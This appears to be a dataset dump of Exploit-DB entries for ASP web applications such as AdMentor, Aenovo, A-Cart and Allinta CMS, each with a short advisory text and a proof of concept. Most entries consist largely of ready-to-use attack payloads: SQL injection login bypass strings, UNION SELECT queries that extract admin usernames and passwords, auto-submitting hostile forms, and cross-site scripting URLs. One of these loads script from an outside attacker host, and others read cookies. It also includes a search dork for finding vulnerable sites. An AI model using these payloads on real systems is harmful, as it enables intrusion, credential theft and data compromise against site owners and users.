deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29533
Description: AdMentor - Admin Login SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-27
Author: Cr@zy_King

Exploit:
source: https://www.securityfocus.com/bid/22281/info

AdMentor is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

<html><title>AdMentor Script Remote SQL injection Exploit</title> =============================================================================================== <p><b><font size="2">[Script Name: <font color="#0000FF">AdMentor admin SQL injection </font></font></b></p> <p><b><font size="2">[Coded by : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Author : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Contact : <font color="#FF0000">Crazy_King@Eno7.org </font></font></b></p> <p><b><font size="2">[Dork : <font color="#0000FF">inurl:"admentor/admin" </font></font></b></p> <p><b><font size="2">[Dork Ex. : <font color="#0000FF">http://www.google.com.tr/search?hl=tr&q=inurl%3A%22admentor%2Fadmin%22&btnG=Google%27da+Ara&meta= </font></font></b></p> <p><b><font size="2">[S.Page : <font color="#0000FF">http://www.aspcode.net/products/admentor </font></font></b></p> <p><b><font size="2">[Thanks : <font color="#008000">Erne & ApAci & Eno7 & Uyuss & Liz0zim & Thehacker & Xoron & Ajann</font></font></b> =============================================================================================== </p> <FORM NAME=giris ACTION="http://victim.com/[path to script]/admin/login.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=parola TYPE=text class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> <b><font face="Verdana" size="2" color="#008000">Exploit Coded By Cr@zy_King</font></b></p> </tr></table></form></html>
Exploit-DB #26334
Description: Aenovo - '/incs/searchdisplay.asp?strSQL' SQL Injection
Type: webapps
Platform: asp
Date: 2005-10-07
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/15036/info
 
Aenovo, aeNovoShop and aeNovoWYSI are prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

AeNovo :Lists username and password of administrators
http://www.example.com/search.asp?strSQL=[SQL Injection]
Exploit-DB #26333
Description: Aenovo - '/Password/default.asp?Password' SQL Injection
Type: webapps
Platform: asp
Date: 2005-10-07
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/15036/info

Aenovo, aeNovoShop and aeNovoWYSI are prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

<html>
<h1>Aenovo Login-Bypass PoC - Kapda `s advisory </h1>
<p> Discovery and exploit by farhadkey [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute
of Iran</a></p>
<form method="POST" action="http://www.example.com/user/control.asp">
<input type="hidden" name="password" value="[SQL Injection]" >
<input type="submit" value="Submit" name="B1">
<input type="hidden" name="test" value="1">
</form></html>
Exploit-DB #26335
Description: Aenovo - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-10-07
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/15038/info

aeNovo is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 


http://www.example.com/target/search.asp?strSQL=SELECT+%2A+FROM+pages+where+1=2+union
+all+select+'01','02','%3CScRiPT%20src=http://h4cK3r/devil_Script/%3E'
,null,null,null,null,null,null+from+control
Exploit-DB #3031
Description: aFAQ 1.0 - 'faqDsp.asp?catcode' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-28
Author: ajann

Exploit:
*******************************************************************************
# Title   :  aFAQ 1.0 (catcode) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.alanward.net
# $$      :  Free
*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//faqDsp.asp?catcode=[SQL]

Example:

//faqDsp.asp?catcode=-1%20union%20select%20username,password,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-28]
Exploit-DB #7423
Description: Affiliate Software Java 4.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-12-11
Author: R3d-D3V!L

Exploit:
[â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢

 [~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~] Vendor: www.adserversolutions.com
   
 [â˜ ] Software: Affiliate Software Java 4.0
   
 [â˜ ] author: ((Ñ3d D3v!L))
   
 [â˜ ] Date: 12.12.2008

 [â˜ ] Home: www.ahacker.biz
   
 [â˜ ] contact: N/A

[â˜ ]  â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 
   
 [â˜ ] Exploit:
   
 â˜  username: r0' or ' 1=1--
 â˜  password: r0' or ' 1=1--
   
   
 [â˜ ]login 4 d3m0:
   
  http://www.adserversolutions.com/affiliate_java/logon.jsp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/
  [~]
  [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-12-11]
Exploit-DB #9857
Description: AfterLogic WebMail Pro 4.7.10 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-10-05
Author: Sébastien Duquette

Exploit:
Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro

Description
-------------
AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection
of malicious code in the context of the application.

Overview
-----------
Quote from http://www.afterlogic.com/products/webmail-pro :
"Webmail front-end for your existing POP3/IMAP mail server. Offer your users
the fast AJAX webmail and innovative calendar with sharing. Stay in control
with the admin panel and the developer's API."

Details
--------
Vulnerable Product : AfterLogic WebMail Pro <= 4.7.10
Vulnerability Type : Cross-Site Scripting (XSS)
Affected page : history-storage.aspx
Vulnerable parameters : HistoryKey, HistoryStorageObjectName
Discovered by :
Sébastien Duquette (http://intheknow-security.blogspot.com)
Gardien Virtuel (www.gardienvirtuel.com)
Original Advisory :
http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt

Timeline
----------
Bug Discovered : September 18th, 2009
Vendor Advised : September 23rd, 2009
Fix made available : September 30th, 2009

Proof of concept
-------------------
The targeted user must be logged in the webmail. This proof of concept was
successfully tested in Firefox 3.5 and Internet Explorer 8.

<html>
<head>
</head>
<body onLoad="document.form1.submit()">
<form name="form1" method="post"
action="http://WEBSITE/history-storage.aspx?param=0[PII_REDACTED]4998574";
onSubmit="return false;">
<input type="hidden" name="HistoryKey" value="value"/>
<input type="hidden" name="HistoryStorageObjectName" value="location;
alert('xss'); //"/>
</form>
</body>
</html>

Solution
---------
The vendor has made available a patched version. Update to AfterLogic
Webmail Pro 4.7.11
Exploit-DB #33268
Description: AfterLogic WebMail Pro 4.7.10 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2009-10-06
Author: Sébastien Duquette

Exploit:
source: https://www.securityfocus.com/bid/36605/info

AfterLogic WebMail Pro is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

AfterLogic WebMail Pro 4.7.10 and prior versions are affected. 

<html> <head> </head> <body onLoad="document.form1.submit()"> <form name="form1" method="post" action="http://www.example.com/history-storage.aspx?param=0[PII_REDACTED]4998574" onSubmit="return false;"> <input type="hidden" name="HistoryKey" value="value"/> <input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //"/> </form> </body> </html>
Exploit-DB #3318
Description: Aktueldownload Haber scripti - 'id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-15
Author: Mehmet Ince

Exploit:
-----------------------------------------------------------------------

Aktueldownload Haber scripti (id) Remote SQL Injection Vulnerability

-----------------------------------------------------------------------


Bulan: xoron

xoron.info - xoron.biz

-----------------------------------------------------------------------

Exploit:  HaberDetay.asp
?id=-1+union+select+0,1,kadi,4,5,parola,7+from+ayar

-----------------------------------------------------------------------

Açyklama: username
Eklenme tarihi: password

-----------------------------------------------------------------------


Download: http://www.aspindir.com/Goster/4656


-----------------------------------------------------------------------

# milw0rm.com [2007-02-15]
Exploit-DB #14461
Description: AKY Blog - SQL Injection
Type: webapps
Platform: asp
Date: 2010-07-24
Author: v0calist

Exploit:
===================================================
AKY Blog SQL İnjection 
===================================================
 
Author : Madconfig
Homepage :  www.worldhackerz.com
Mail : admin[at]worldhackerz[dot].com
Script : http://www.aspindir.com/indir.asp?ID=5954&sIslem=Indir
Risk : No Risk Just Enjoy
Dork :  :/ sorry
 
===================================================

[+] Vulnerable File : 

http://www.site.com/default.asp?islem=devami&id=38%20union+select+all+0,
sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

[+] Demo : 

http://www.site.com/blog/default.asp?islem=devami&id=38%20union+s
elect+all+0,sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

Greetz : Mezar,v0calist ,PaLa , By.ege, StreetCoder , AnqelHacker,M0sted 

and all  www.worldhackerz.com Member 

===================================================

# Turkish P0wer
Exploit-DB #11611
Description: Al Sat Scripti - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-03-02
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Al Sat Scripti Data Bass Download Vulnerability 
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                                
| # Web Site : http://scripti.org/i/ucuzalsat.zip                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) IIS 5.1                              
| # Bug      : ASP DB Download                                                                    
======================      Exploit By indoushka       =================================
 # Exploit  : 

1- http://127.0.0.1/ucuzalsat/ucuzalsat.mdb

2- login

================================   Dz-Ghost Team   ===================================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
--------------------------------------------------------------------------------------------------------
Exploit-DB #29085
Description: Alan Ward A-CART 2.0 - 'category.asp?catcode' SQL Injection (1)
Type: webapps
Platform: asp
Date: 2006-11-18
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21166/info
 
A-Cart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
A-Cart 2.0 and A-Cart Pro are vulnerable; other versions may also be affected.

http://www.example.com/path/category.asp?catcode=[SQL INJECTION]
Exploit-DB #23891
Description: Alan Ward A-CART 2.0 - 'category.asp?catcode' SQL Injection (2)
Type: webapps
Platform: asp
Date: 2004-03-29
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9997/info

Reportedly A-Cart is prone to multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input prior to its use in SQL queries and generation of dynamic content.

The SQL injection issue may allow a remote attacker to manipulate SQL query logic, potentially leading to access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

The cross-site scripting issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/category.asp?catcode=[SqlInjection]
http://www.example.com/category.asp?catcode=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname='[Username]'
Exploit-DB #23195
Description: Alan Ward A-Cart 2.0 - MSG Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-09-29
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8722/info

A-Cart has been reported prone to a cross-site scripting vulnerability. The issue presents itself likely due to a lack of sufficient sanitization performed on data contained in the 'msg' URI parameter that is passed to signin.asp.

An attacker could exploit this condition to render arbitrary HTML in the browser of a victim, stealing cookie authentication credentials or performing other nefarious acts. 

http://www.example.com/acartpath/signin.asp?msg=<script>alert('Zone-h')</script>
Exploit-DB #30708
Description: Aleris Web Publishing Server 3.0 - 'Page.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-10-25
Author: joseph.giron13

Exploit:
source: https://www.securityfocus.com/bid/26207/info

Aleris Web Publishing Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Aleris Web Publishing Server 3.0 is vulnerable; other versions may also be affected. 

www.example.com/calendar/page.asp?mode=1%20union%20all%20select%201,2,3,4,5,6%20FROM%20users--
Exploit-DB #30330
Description: Alisveris Sitesi Scripti - 'index.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-07-23
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25007/info

Alisveris Sitesi Scripti is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/?mod=search&type=simple&q=[XSS]
Exploit-DB #30328
Description: Alisveris Sitesi Scripti - 'index.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-23
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25005/info

Alisveris Sitesi Scripti is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/?menukat=2%20&mod=product&cat_id=7&product_id=[SQL]
http://www.example.com/?menukat=2%20&mod=product&cat_id=[SQL]
Exploit-DB #26875
Description: allinta CMS 2.3.2 - 'faq.asp?s' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15935/info

Allinta CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Allinta versions 2.3.2 and earlier are reportedly affected by this vulnerability. 

http://example.com/faq.asp?s=[XSS]&roottopicID=&sa=1&submit=Search
Exploit-DB #26876
Description: allinta CMS 2.3.2 - 'search.asp?searchQuery' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15935/info
 
Allinta CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Allinta versions 2.3.2 and earlier are reportedly affected by this vulnerability. 

http://example.com/search.asp?searchQuery=[XSS]&go=Search&submitted=true
Exploit-DB #34429
Description: Allinta CMS 22.07.2010 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-08-09
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42320/info

Allinta CMS is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Allinta CMS 22.07.2010 is vulnerable; prior versions may also be affected. 

http://www.example.com/languageselect.asp?lang_URL=Default.asp%3Flang%3D&ss=x%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&img=1

http://www.example.com/languageselect.asp?lang_URL=Default.asp%27};alert%28document.cookie%29;{a=%27%3Flang%3D&ss=x&img=1

http://www.example.com/path_to_admin/menuCodeAE.asp?m=edit&i=185%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/path_to_admin/faqAE.asp?m=edit&i=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/path_to_admin/contentAE.asp?m=edit&i=376+ANY_SQL_HERE

http://www.example.com/path_to_admin/templatesAE.asp?m=edit&i=1+ANY_SQL_HERE